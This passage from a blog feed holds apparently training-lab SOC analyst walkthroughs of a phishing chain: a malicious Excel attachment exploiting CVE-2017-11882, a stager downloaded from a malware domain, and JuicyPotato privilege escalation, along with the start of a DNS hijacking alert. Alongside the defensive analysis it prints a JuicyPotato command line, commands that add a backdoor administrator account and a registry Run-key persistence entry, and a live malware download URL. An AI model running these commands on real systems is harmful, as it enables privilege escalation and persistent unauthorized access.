(e.g. a shell) under a service account or other privileged user on the target machine.<br>In our case, that initial access came from the execution of <strong>network.exe</strong>, a binary dropped after the malicious Excel file was opened.</p><p>JuicyPotato installs a <strong>local TCP listener</strong> (default port often 1337) and uses Windows COM APIs like <strong>CoGetInstanceFromIStorage </strong>or<strong> CoGetObject</strong> to request a specially crafted COM object via a CLSID. This triggers a <strong>DCOM activation</strong> that makes the <strong>SYSTEM-level COM</strong> server attempt to authenticate via <strong>RPC</strong> back to the attacker&#39;s listener.</p><p>That <strong>Net-NTLM authentication from SYSTEM</strong> is <strong>captured</strong> and relayed back locally. If successful, <strong>JuicyPotato impersonates</strong> the<strong> SYSTEM</strong> token and spawns a new shell or process with full <strong>SYSTEM</strong> privileges.</p><p>───────────────── 🥔 ─────────────────</p><h3>𝐑𝐞𝐪𝐮𝐢𝐫𝐞𝐦𝐞𝐧𝐭𝐬 𝐚𝐧𝐝 𝐂𝐨𝐧𝐝𝐢𝐭𝐢𝐨𝐧𝐬 𝐟𝐨𝐫 𝐄𝐱𝐩𝐥𝐨𝐢𝐭𝐚𝐭𝐢𝐨𝐧</h3><p>For JuicyPotato to work, a few things need to be in place:</p><p>‣ <strong>The current user must have SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege.<br></strong><em>These privileges allow a process to impersonate another user or assign tokens, and they’re typically granted to Windows services or system tasks. Without at least one of these, JuicyPotato is going to sit there like a potato with no gravy. If you do have one, once the token is captured, you’re basically SYSTEM.</em></p><p>‣ <strong>The system must allow COM-based local RPC connections.</strong></p><p>‣ <strong>There must be an appropriate COM server / CLSID</strong> registered on the system.<br><em> JuicyPotato needs a CLSID that is :</em></p><ul><li>Available on the system.</li><li>Running as <strong>SYSTEM</strong> or another elevated user.</li><li>Implementing the <strong>IMarshal</strong> interface so it can be activated remotely.</li></ul><p><em>The creators have shared a lists of known working CLSIDs depending on the OS version (e.g., BITS, Wuauserv, WSearch, XblGameSave).<br>A commonly used default is </em><strong><em>BITS</em></strong><em>: </em><strong>{4991d34b-80a1–4291–83b6–3328366b9097}</strong><em>.</em></p><p>‣ <strong>The Windows version must be vulnerable.</strong></p><ul><li>JuicyPotato is effective on Windows Server up to 2016 and Windows 10 up to build 1803.</li></ul><p>Later versions may have patched this flaw, but there are other options in the potato family, like <strong>RoguePotato</strong> or <strong>JuicyPotatoNG</strong>, that might still work (because of course, potatoes keep multiplying).</p><p>‣ Finally, <strong>the attacker needs to be able to run JuicyPotato from a process that has the right privileges</strong>, like a malicious executable or a hijacked service.</p><p>✔️ If you check all these boxes, you’re good to go.</p><p>───────────────── 🥔 ─────────────────</p><h3>𝐇𝐨𝐰 𝐢𝐭 𝐖𝐨𝐫𝐤𝐬 (𝐒𝐢𝐦𝐩𝐥𝐢𝐟𝐢𝐞𝐝 𝐅𝐥𝐨𝐰)</h3><ol><li>JuicyPotato sets up a local RPC listener</li><li>Then it triggers COM activation by using a chosen CLSID, like BITS</li><li>The SYSTEM process (via DCOM) authenticates to the attacker’s listener.</li><li>The tool grabs that SYSTEM token, like catching a rare Pokémon, and gets ready to use it</li><li>Finally, JuicyPotato launches a new process, such as cmd.exe, but now it’s running as <strong>SYSTEM</strong>. Suddenly, you’re holding the golden ticket.</li></ol><p>───────────────── 🥔 ─────────────────</p><h3>𝐀𝐭𝐭𝐚𝐜𝐤𝐞𝐫 𝐔𝐬𝐚𝐠𝐞:</h3><p>JuicyPotato usually comes into play <strong>after</strong> an attacker gets<strong> initial access</strong>, maybe from <strong>phishing</strong> or by running something you shouldn’t have. Once they’re in as a <strong>low-privileged user</strong> on a Windows system, they’ll upload the <strong>JuicyPotato.exe</strong> file. Then, they run it with certain parameters to get a <strong>process running as SYSTEM</strong></p><h4><strong>A common usage looks like this:</strong></h4><p><em>This is what the attack should look like, for example, in EDR terminal logs.</em></p><pre>juicypotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}</pre><ul><li><strong>-l 1337</strong>: RPC listener port</li><li><strong>-p</strong>: program to run as SYSTEM (e.g. cmd.exe)</li><li><strong>-t *</strong>: try both impersonation methods</li><li><strong>-c</strong>: CLSID to exploit (commonly BITS)</li></ul><p>The tool kicks off a COM exploit chain, grabs a <strong>SYSTEM token</strong> through some<strong> fake RPC communication</strong>, and launches the process you specify as <strong>SYSTEM</strong>. From there, the attacker can dump credentials, set up persistence, or start moving sideways in the network.</p><p>───────────────── 🥔 ─────────────────</p><h3>𝐓𝐲𝐩𝐢𝐜𝐚𝐥 𝐀𝐭𝐭𝐚𝐜𝐤 𝐅𝐥𝐨𝐰 𝐰𝐢𝐭𝐡 𝐉𝐮𝐢𝐜𝐲𝐏𝐨𝐭𝐚𝐭𝐨 (𝐀𝐩𝐩𝐥𝐢𝐞𝐝 𝐭𝐨 𝐭𝐡𝐞 𝐂𝐚𝐬𝐞)</h3><p>Like I mentioned before, in most real-world attacks (or when red teams are doing their thing), JuicyPotato is just one piece of the whole post-exploitation puzzle. It’s not the main even, it’s more like the trick up the sleeve.<br>Here’s how that process typically unfolds, with notes on how it played out in this specific incident:</p><ul><li><strong>Initial foothold</strong> <br><em>Attackers usually get in through things like</em> <em>phishing, malicious macros, or reverse shells.</em><br>→ <em>In our case, it all started</em> <em>with a phishing email that delivered a malicious Excel file called “</em><strong><em>44e65a641fb970031c5efed324676b5018803e0a768608d3e186152102615795.xlsx”</em></strong><em> containing a macro. Once enabled, this macro downloaded and executed “</em><strong>network.exe”</strong><em>, that basically, acted as a stager.</em></li><li><strong>Upload JuicyPotato.exe to the target machine.</strong><br><em>Once they had basic access, the attacker uploads JuicyPotato.exe on the machine.</em><br> → <em>Here, after executing the stager,</em><strong><em> </em>JuicyPotato.exe</strong><em> was uploaded to help escalate privileges.</em></li><li><strong>Run JuicyPotato</strong> with specific parameters<br><em>The attacker then runs JuicyPotato with parameters that match the OS version and whatever privileges are available</em> <em>(e.g., CLSID, port, program to run).<br>→ As i said earlier, if had the logs (but of course, that would make things too easy, right?)</em> <em>we’ll probably see something like this</em></li></ul><pre>juicypotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}</pre><blockquote>That command looks intimidating AF not gonna lie 😝</blockquote><ul><li><strong>Capture SYSTEM token via COM/RPC.</strong><br><em>JuicyPotato uses the </em><strong><em>COM</em></strong><em> service to impersonate a </em><strong><em>SYSTEM</em></strong><em> token by using a fake </em><strong><em>RPC server</em></strong><em>. <br>It’s kind of like convincing the bouncer at the club you’re on the VIP list.</em></li><li><strong>Spawn SYSTEM shell</strong>.<br><em>If everything goes as planned, the attacker gets a shell running as </em><strong><em>NT AUTHORITY\SYSTEM</em></strong><em>. Basically, full control.</em></li><li><strong>Post-escalation actions</strong><br><em>Once you’ve got full privileges, the options open up and you can:</em></li><li><em>Dump credentials (e.g., with Mimikatz)</em></li><li><em>Create new users, schedule tasks, the usual admin magic</em></li><li><em>Move laterally or set up persistence, because why stop at just one machine?</em></li></ul><blockquote>In the case we are dealing with, there’s really no solid proof that the escalation actually worked. The only thing we know for sure is that <strong>JuicyPotato</strong> got <strong>executed, </strong>which is at least something. Still, it’s pretty clear the <strong>attacker attempted</strong> to gain “<strong>system” access</strong>, probably to prepare for lateral movement or persistence.</blockquote><p>↑↓ ↑↓ ↑↓ ↑↓ ↑↓ ↑↓ ↑↓ ↑↓ ↑↓ ↑↓ ↑↓ ↑↓ ↑↓ ↑↓ ↑↓ ↑↓ ↑↓ ↑↓ ↑↓</p><h4>𝐏𝐫𝐢𝐦𝐞 𝐞𝐱𝐚𝐦𝐩𝐥𝐞 𝐨𝐟 𝐩𝐨𝐬𝐭 𝐞𝐬𝐜𝐚𝐥𝐚𝐭𝐢𝐨𝐧 𝐚𝐜𝐭𝐢𝐨𝐧𝐬 (𝐟𝐨𝐫 𝐞𝐝𝐮𝐜𝐚𝐭𝐢𝐨𝐧𝐚𝐥 𝐩𝐮𝐫𝐩𝐨𝐬𝐞𝐬 𝐨𝐧𝐥𝐲):</h4><p>With that newly elevated console, the attacker can do anything requiring SYSTEM-level permissions.</p><pre>net user backdoorUser MyPass123! /add<br>net localgroup administrators backdoorUser /add</pre><blockquote>➡️ This creates a new user called <strong>backdoorUser</strong> and adds it directly to the administrators group (persistent privileged access ensured).</blockquote><pre>reg add &quot;HKLM\Software\Microsoft\Windows\CurrentVersion\Run&quot; /v backdoor /t REG_SZ /d &quot;C:\path\to\malware.exe&quot;</pre><blockquote>➡️ Sets up persistence to relaunch malware on reboot.</blockquote><blockquote>─ 🥔 ── 🥔 ── 🥔 ── 🥔 ── 🥔 ── 🥔 ──</blockquote><h3>Case creation &amp; Closing up the 3rd alert:</h3><p>We’ve already got plenty of info on how <strong>JuicyPotato</strong> works and how it managed to run on the system. <br>It’s pretty obvious at this point that this alert is a True Positive. <br>The breach is confirmed, even if the logs aren’t giving us the full story. Just seeing <strong>JuicyPotato.exe running</strong> on the <strong>endpoint</strong> is all the confirmation you need to start locking things down and digging deeper into what went down.<br>After that, yeah, the machine’s gonna need a proper cleanup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*3u0wbxbWQErezkiOhq6Bbw.jpeg" /><figcaption>Other</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*q7tpe-VXsENJrXbssXCQWg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*nIw22BKNzcl3LZnG-dUPcQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*W8Kqk4CONKV3SU8V2iFMSQ.jpeg" /></figure><blockquote>Why “Not accessed”??<br>Just so we’re clear, this whole<strong> JuicyPotato.exe doesn’t require reaching out</strong> to some shady<strong> C2 server</strong>. It’s a local privilege escalation move. Basically, the attacker was already in the system (as shown by earlier alerts) and now they’re using <strong>JuicyPotato</strong> to bump their permissions up to <strong>SYSTEM</strong>. That’s about as high as you can go.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*NTe0njiXfxfr-I0eCISiHw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*auTrwo3XBpA2cv5p-dhEFA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*fy0cG2JYfdHOfg9ETw66Og.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/1*wcOZKRMoZEGPTZda3S0W1Q.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BrOrxkgO7uOBt6hIpK3NwA.jpeg" /></figure><p>Alright, so that’s the end of part 3, closing out those three alerts about the phishing email. This one was a tricky one, honestly… It’s funny how all this mess kicked off just because of a single phishing email.</p><p>Stuff like this really shows why security awareness training for employees is a must. All these headaches could’ve been avoided with just a bit of that.</p><p>Hope everything’s been clear enough. If you have any questions or something didn’t make sense, just let me know and I’ll help out. 😎</p><h3>Analyst note:</h3><p>True Positive | Breached AF<br>The 3rd alert popped up on Jan 31, 2021 at 04:20 PM due to the execution of the tool “JuicyPotato.exe” on Richard’s endpoint.<br>This tool is being used to gain SYSTEM access/privileges on the machine (basically privilege escalation).<br>Breach is confirmed. Host was already contained on the first alert. Cleanup of the endpoint is still necessary.</p><blockquote>If you’re new to this, don’t just copy the note — try making your own! Practice makes perfect.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=853665b14e73" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC111 — EventID 46 —Traffic to Malware Domain]]></title>
            <link>https://medium.com/@MateoPappa/soc111-eventid-46-traffic-to-malware-domain-7580057e3425?source=rss-70d18e1abaf1------2</link>
            <guid isPermaLink="false">https://medium.com/p/7580057e3425</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <dc:creator><![CDATA[ ]]></dc:creator>
            <pubDate>Wed, 28 May 2025 18:05:23 GMT</pubDate>
            <atom:updated>2025-05-28T23:20:27.978Z</atom:updated>
            <content:encoded><![CDATA[<h3>SOC111 — EventID 46 —Traffic to Malware Domain</h3><p>This is an unofficial guide to analyzing the <strong>SOC111 — EventID 46 — Traffic to Malware Domain</strong></p><h3>Alert Details:</h3><pre>EventID :                46<br>Event Time :             Jan, 31, 2021, 04:15 PM<br>Rule :                   SOC111 - Traffic to Malware Domain<br>Level :                  Security Analyst<br>Source Address :         172.16.17.45<br>Source Hostname :        RichardPRD<br>Destination Address :    5.135.143.133<br>Destination Hostname :   andaluciabeach.net<br>Username :               Richard<br>Request URL :            http://andaluciabeach.net/image/network.exe<br>User Agent :             Mozilla - Windows<br>Device Action :          Allowed</pre><p>Alright, just a quick follow-up in case you missed the last <a href="https://medium.com/@MateoPappa/soc114-eventid-45-malicious-attachment-detected-phishing-alert-9f5ec3580bd5">alert walkthrough</a> (not ideal, really, you should check it out first to actually get what’s going on here). If you haven’t, go give it a look so you’re not missing any details.</p><h4>So, here’s what we found:</h4><p>After looking over the last alert, it turns out <strong>RichardPRD</strong> downloaded a suspicious Excel file and ran it. That move led straight to a breach. <br>The file took advantage of <strong>CVE-2017–11882</strong> and used <strong>PowerShell</strong> to pull in “<strong>network.exe”</strong> from <strong>andaluciabeach[.]net</strong>, which basically landed us with this alert.</p><p>We can actually see the file getting downloaded in the network logs:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xR4KFvGEGSPGOXfpZ59ruw.jpeg" /></figure><p>Alright, let’s break this down. The malicious page is already gone, so the next logical move is to dig up any reports about that shady URL that got hit after CVE-2017–11882 got exploited:<br><strong>http://andaluciabeach[.]net/image/network[.]exe</strong></p><h3>Here are a few leads I found:</h3><h4><a href="https://www.virustotal.com/gui/url/7359461b693314a3c84fd589a9b8bda0813f58b6548d08840f2f03085651f477/detection">VirusTotal:</a></h4><ul><li><a href="https://www.virustotal.com/gui/url/7359461b693314a3c84fd589a9b8bda0813f58b6548d08840f2f03085651f477/detection">https://www.virustotal.com/gui/url/7359461b693314a3c84fd589a9b8bda0813f58b6548d08840f2f03085651f477/detection</a></li></ul><h4><a href="https://www.hybrid-analysis.com/sample/92f557d8f467ea3884dccb68e3bd5de07b945aed1db10e65e6c263f053bd4930/63c22965c48dd85ecf54072c">Hybrid Analysis:</a></h4><ul><li><a href="https://www.hybrid-analysis.com/sample/92f557d8f467ea3884dccb68e3bd5de07b945aed1db10e65e6c263f053bd4930/63c22965c48dd85ecf54072c">https://www.hybrid-analysis.com/sample/92f557d8f467ea3884dccb68e3bd5de07b945aed1db10e65e6c263f053bd4930/63c22965c48dd85ecf54072c</a></li></ul><h4><a href="https://app.any.run/tasks/d4fa437f-14da-4273-bdae-28ab0c235580">Any.Run (full report):</a></h4><ul><li><a href="https://app.any.run/tasks/d4fa437f-14da-4273-bdae-28ab0c235580">https://app.any.run/tasks/d4fa437f-14da-4273-bdae-28ab0c235580</a></li></ul><h4><a href="https://any.run/report/7359461b693314a3c84fd589a9b8bda0813f58b6548d08840f2f03085651f477/d4fa437f-14da-4273-bdae-28ab0c235580">Any.Run (text report):</a></h4><ul><li><a href="https://any.run/report/7359461b693314a3c84fd589a9b8bda0813f58b6548d08840f2f03085651f477/d4fa437f-14da-4273-bdae-28ab0c235580">https://any.run/report/7359461b693314a3c84fd589a9b8bda0813f58b6548d08840f2f03085651f477/d4fa437f-14da-4273-bdae-28ab0c235580</a></li></ul><p>So, looking at those, it’s pretty clear<strong> network.exe</strong> is malicious. No big surprise there. The problem is, we’re kinda flying blind in terms of hard details about the file, no hash, no deep-dive reports, nothing to really chew on. Still, we can guess a few things.</p><p>The file keeps reaching out to a remote server, which usually means it’s acting as a stager or first-stage loader, probably by:</p><ul><li>Setting up comms with a command and control server</li><li>Downloading and running extra payloads</li><li>Trying to stick around by maintaining persistance</li><li>Maybe even moving laterally in the network (because, of course, nothing’s ever simple)</li></ul><p>With three alerts popping up one after the other, it looks like whoever is behind this is trying to escalate privileges later on, maybe with something like <strong>JuicyPotato</strong> (which, let’s be honest, is probably dropped by network.exe itself). But the whole JuicyPotato thing is a topic for the next part, so don’t go anywhere.</p><p>The reports themselves don’t really tell us much about what network.exe does internally. We’re missing details about process creation, system changes, or extra payloads. No process creation or dropped files popped up in EDR or network logs either, so that’s that.</p><p>What I can say for sure:</p><ul><li>Yeah, there was a breach</li><li>network.exe is working as a stager</li><li>And we still have work to do (because why would this be easy, right?)</li></ul><p>To actually know what network.exe is up to, I’d need to run some static or dynamic analysis on the file itself, but I haven’t found the hash yet (if you find it, send it my way and I’ll analyze it).</p><h3>Case creation &amp; Closing up the 2nd alert:</h3><p>Alright, looks like we’ve got enough info to confirm the breach, so let’s just follow the playbook, close out this alert as a true positive, and get ready for the next one, which, let’s be honest, is probably where things get interesting (interesting if you like file analysis, I guess, not exactly a party, but hey, someone’s gotta do it).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*3sh0D5lLMCR-7AXZqjjFvg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*fRhwh0Vw2yPQoaqcDJ9CMA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*sVxr_UYxz0AQaaFVmfG5ow.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*JkwVX8ivBODFYrv_HfBYXQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*tfggg8I6qD8U81qj5KUAMA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*1DzdP0rkDFtwvMubhzQXdw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*0YPibyvL48qLnmVAlc0Nww.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*8UBHxoHVVmhL-3KGn806jw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*CXZ1fwJ6ky97JtD_UhiAhg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*Xo6BZHC4l8x6egVTrfoTFQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kM4DqJjs1CJP2F1cGLdkTQ.jpeg" /></figure><p>Alright, that’s it for part 2 of the analysis. Honestly, kind of a letdown that I couldn’t disassemble or check out “network.exe”, but hey, that’s how it goes sometimes. I mean, sure, skipping it speeds things up, but I just like getting the whole picture, you know?</p><p>Anyway, stay tuned for part 3. I guess that’s where things get interesting since now we’ve got a file hash to play with. :=)</p><h3>Analyst note:</h3><p>True Positive | Breach<br>So, the second alert showed up on Jan 31, 2021, at 04:15 PM, following the first one triggered by a phishing email.<br>Richard Prod ran the attached file from that email, which downloaded an initial stager payload called network.exe from:<br><a href="http://andaluciabeach.net/image/network.exe">http://andaluciabeach.net/image/network.exe</a><br>Honestly, there’s not much intel on the file itself. It’s a basic stager, keeps trying to reach out to a C2 server, probably to stick around or maybe pull down more files. Feels like it’s just waiting for instructions, kind of like the world’s least helpful assistant.<br>The host was already contained after the previous alert, so this is just a follow-up on the phishing incident.<br>Best move here is to reimage the machine, and Richard could definitely use some awareness training. Maybe a quick crash course on “How Not to Get Fooled by Phishing Emails.” Always something, right?</p><blockquote>If you’re new to this, don’t just copy the note — try making your own! Practice makes perfect.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7580057e3425" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC114 — EventID 45 — Malicious Attachment Detected — Phishing Alert]]></title>
            <link>https://medium.com/@MateoPappa/soc114-eventid-45-malicious-attachment-detected-phishing-alert-9f5ec3580bd5?source=rss-70d18e1abaf1------2</link>
            <guid isPermaLink="false">https://medium.com/p/9f5ec3580bd5</guid>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[phishing]]></category>
            <dc:creator><![CDATA[ ]]></dc:creator>
            <pubDate>Wed, 28 May 2025 02:10:51 GMT</pubDate>
            <atom:updated>2025-05-28T18:09:30.518Z</atom:updated>
            <content:encoded><![CDATA[<h3>SOC114 — EventID 45 — Malicious Attachment Detected — Phishing Alert</h3><p>This is an unofficial guide to analyzing the <strong>SOC114 — EventID 45 — Malicious Attachment Detected — Phishing Alert</strong></p><h3>Alert Details:</h3><pre>EventID :               45<br>Event Time :            Jan, 31, 2021, 03:48 PM<br>Rule :                  SOC114 - Malicious Attachment Detected - Phishing Alert<br>Level :                 Security Analyst<br>SMTP Address :          49.234.43.39<br>Source Address :        accounting@cmail.carleton.ca<br>Destination Address :   richard@letsdefend.io<br>E-mail Subject :        Invoice<br>Device Action :         Allowed</pre><p>Just a quick note before we jump in — this is the first part of a three-part series about alerts from January 31, 2021. <br>RichardPRD made a pretty big mistake and ended up falling for a phishing trap, which turned into a major breach. Not exactly his proudest moment, honestly<br>Anyway, make sure you read all three parts so you really get the full story behind the breach. Think of it like a miniseries — if you skip an episode, you’ll miss the plot twist.</p><p>From the initial alert details, we can see that an alert was triggered because of a phishing email being sent from “accounting@cmail.carleton.ca” to “richard@letsdefend.io”.<br>Next step, let’s check out the Email Management section and see what kind of attachment we’re dealing with. <br>Maybe it’s another “urgent invoice” from the Prince of Nigeria — who knows?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*DMKB46HeJVzedHagsYtZyg.jpeg" /></figure><p>Alright, so, here’s the deal: We’ve got two options.<br>First one, we download the file and dig into it ourselves (Not gonna lie, this way’s kind of a slog, but hey, sometimes that’s life).<br>Second option, we toss the file hash (it’s in the filename already, so, convenient) into some security engines like VirusTotal or Hybrid Analysis. Let’s see what those say — maybe they’ll do the heavy lifting for us.</p><p>If those tools don’t give us enough info, well, guess we’re back to plan A and have to check it out ourselves. But honestly, who wouldn’t want to try the shortcut first? <br>It’s like trying to look up the answers before actually opening the textbook.</p><h4><a href="https://www.virustotal.com/gui/file/44e65a641fb970031c5efed324676b5018803e0a768608d3e186152102615795/detection">VirusTotal Report</a></h4><h4><a href="https://www.hybrid-analysis.com/sample/44e65a641fb970031c5efed324676b5018803e0a768608d3e186152102615795/63500d656d89397166471b51">Hybrid Analysis Report</a></h4><p>These reports actually give us enough to piece together how the malicious Excel file operates. <br>Based on what we’ve got, we can sum up this first phase of the attack, plus what the Excel file is doing, like this:</p><p>‣ <strong>Email reception</strong><br>Email lands in the inbox of <strong>richard@letsdefend.io</strong>, coming from <strong>accounting@cmail.carleton.ca. </strong><br>The subject? Classic <strong>“Invoice.”</strong> The Excel file’s attached directly, not even hiding in a zip file or anything. Bold move.</p><p>‣ <strong>Execution of the malicious file<br></strong> When the file gets opened in Microsoft Excel, it immediately asks the user to enable macros (active content). If you say yes, the file goes straight for the old <strong>CVE-2017–11882</strong> vulnerability using the <strong>EQNEDT32.EXE</strong> process. That lets it <strong>run</strong> <strong>any code it wants</strong>, no extra help needed from the user.</p><p>‣ <strong>Post-exploitation behavior<br></strong> After that kicks off, <strong>EQNEDT32.EXE</strong> launches <strong>powershell.exe</strong>, which then tries to <strong>download</strong> a <strong>file</strong> called <strong>network.exe</strong> from <strong>andaluciabeach[.]net</strong>. So, yeah, it’s clearly setting up to bring in another payload and keep the attack moving.</p><p>⚠️ What exactly network.exe does after it’s downloaded? We’ll dig into that in Part 2. Don’t worry, we’ll get there.</p><p>So, now that we’ve figured out how this malware operates, let’s check the logs. Time to find out if we actually got hit or if our system just wanted to give us a little heart attack for fun.<br>Honestly, I’m hoping it’s just another episode of “false alarm: the sequel.” 🤞</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tBZRZxrB7qB6PVnRYfj7qQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zfFGGMpisFSkWMKqBVn8DQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xe8I7Mqd2B4_CVQka5NU9A.jpeg" /></figure><p>Yeah… looks like luck’s not on our side today. With these logs, we can confirm the breach is real. So, next step: open a case for the alert and stick to the playbook.</p><p>(We’re not going to do a deep dive into the logs right now — this alert isn’t about that. Just know the file was downloaded and executed, and that’s the important bit for this part.)</p><h3>Case creation &amp; Closing up the alert:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*_TyPmm0Q9Nid0P5i0Vdn4Q.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*8LdPMdKiwQt2E-vTw8i3dg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*NFmt2o4rkCAhRlkzbf53wA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*w9hqpkVPm6v5zSzMuMvKzw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*B2b3GR3osJxDMCNyTT3S7w.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*PXL-POkrmRZnV4U0Bat90A.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*Jy8F85-8cn0S9jfHqVsTgQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*QDwXQie41IeqY-VUAUa6Jw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*JJlEQ3maxk6ghJhA4HiI0Q.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*xUNZHqtOCBza9EcsHecqpQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*mSqmgB8TcWX2B6iPGSfpHA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bi-54siBFUVFBNTXeCBHHw.jpeg" /></figure><p>Alright, that’s the end of part one. There’s still a lot to unpack, so make sure you stick around for all three parts if you want to see how the attack actually played out.</p><p>Think of it like a movie trilogy — things are just getting started. 🧐</p><h3>Analyst note:</h3><p>True Positive | Breach<br>An alert came up on January 31, 2021, at 3:48 PM. A suspicious Excel file with the name <strong>44e65a641fb970031c5efed324676b5018803e0a768608d3e186152102615795.xlsx</strong> was found in an email sent from <strong>accounting@cmail.carleton.ca</strong> to <strong>richard@letsdefend.io.</strong><br>After checking things out, it was confirmed that the file was in fact malicious, which ended up causing a significant breach in the organization. This alert was actually followed by two more that seem connected.<br>The file got downloaded and opened on the system. The affected device was isolated, and it is recommended to completely wipe and reinstall everything to be safe. This phishing attack also led to more dangerous payload downloads and some attempts to escalate system privileges.</p><blockquote>If you’re new to this, don’t just copy the note — try making your own! Practice makes perfect.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9f5ec3580bd5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC116 — EventID 49 —  DNS Hijacking Detected]]></title>
            <link>https://medium.com/@MateoPappa/soc116-eventid-49-dns-hijacking-detected-a9eae9f0f21e?source=rss-70d18e1abaf1------2</link>
            <guid isPermaLink="false">https://medium.com/p/a9eae9f0f21e</guid>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[ ]]></dc:creator>
            <pubDate>Tue, 27 May 2025 15:54:47 GMT</pubDate>
            <atom:updated>2025-05-28T02:17:44.656Z</atom:updated>
            <content:encoded><![CDATA[<h3>SOC116 — EventID 49 — DNS Hijacking Detected</h3><p>This is an unofficial guide to analyzing the <strong>SOC116 — EventID 49 — DNS Hijacking Detected</strong></p><h3>Alert Details:</h3><pre>EventID :             49<br>Event Time :          Feb, 06, 2021, 12:42 PM<br>Rule :                SOC116 - DNS Hijacking Detected<br>Level :               Security Analyst<br>Source Address :      172.16.17.34<br>Source Hostname :     WilsonPRD<br>File Name :           update.py<br>File Hash :           307b47d1217f267a47cee8dd86c2f191<br>File Size :           1.28 KB<br>Device Action :       Allowed</pre><p>Alright, so starting from the info we’ve got from the alert details, looks like we’re probably dealing with a DNS hijacking file called “<a href="http://update.py/">update.py</a>”.</p><h4>Analysis of the file</h4><p>First thing I’d do to get some info out of this file is run it through some analysis engines like VirusTotal, Hybrid Analysis, Any.run, and so on. Just to check if it’s already been flagged or if there’s anything interesting someone else found.</p><p>No need to make things harder if the answers are already out there, you know?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*TqU_Y_sJIxrn9rYjQLUnUQ.jpeg" /><figcaption><a href="https://app.any.run/tasks/525088d5-9660-4f3c-b78d-cd9d15850a60">Any.Run</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XRiOiZTw-L4EsHM2qnI70w.jpeg" /><figcaption><a href="https://www.hybrid-analysis.com/sample/35dadca50c522d395ed40511f889da63fed2622636e0bbbd41b01647acdf394f/65d0bfdd50a32d319e0553ba">Hybrid Analysis</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UGE0tnvFNL00SYFcpOR5vQ.jpeg" /><figcaption><a 